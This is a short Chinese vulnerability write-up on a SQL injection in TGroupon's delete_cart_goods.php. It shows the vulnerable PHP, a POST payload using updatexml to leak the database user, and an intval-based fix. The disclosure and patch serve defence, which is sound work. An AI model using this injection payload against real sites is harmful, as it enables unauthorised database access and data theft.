TGroupon其实就是ECSHOP修改的。


漏洞文件:

delete_cart_goods.php

if($_POST['id'])
{
$sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$_POST['id'];
$GLOBALS['db']->query($sql);
}


漏洞测试:

http://www.baidu.com/delete_cart_goods.php

POST:

id=1%20or%20updatexml(1,concat(0x7e,user(),0x7e),0)

wKioL1diTojx2qW5AADD5TrKYDo816.jpg


修复:第一个 IF 代码语句

if($_POST['id'])
{
$sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$_POST['id'];
$GLOBALS['db']->query($sql);
}

换成如下代码:

if($_POST['id'])
{
$id=intval($_POST['id']);//增加转换类型 By:i2ty,这样可以防止传入其他的东西进来
if($id==0){
exit;//当错误时退出。
}else{
$sql = 'DELETE FROM '.$GLOBALS['ecs']->table('cart')." WHERE rec_id=".$id;
$GLOBALS['db']->query($sql);
}
}

wKiom1diTkihpQCtAADd0BPM9CE238.jpg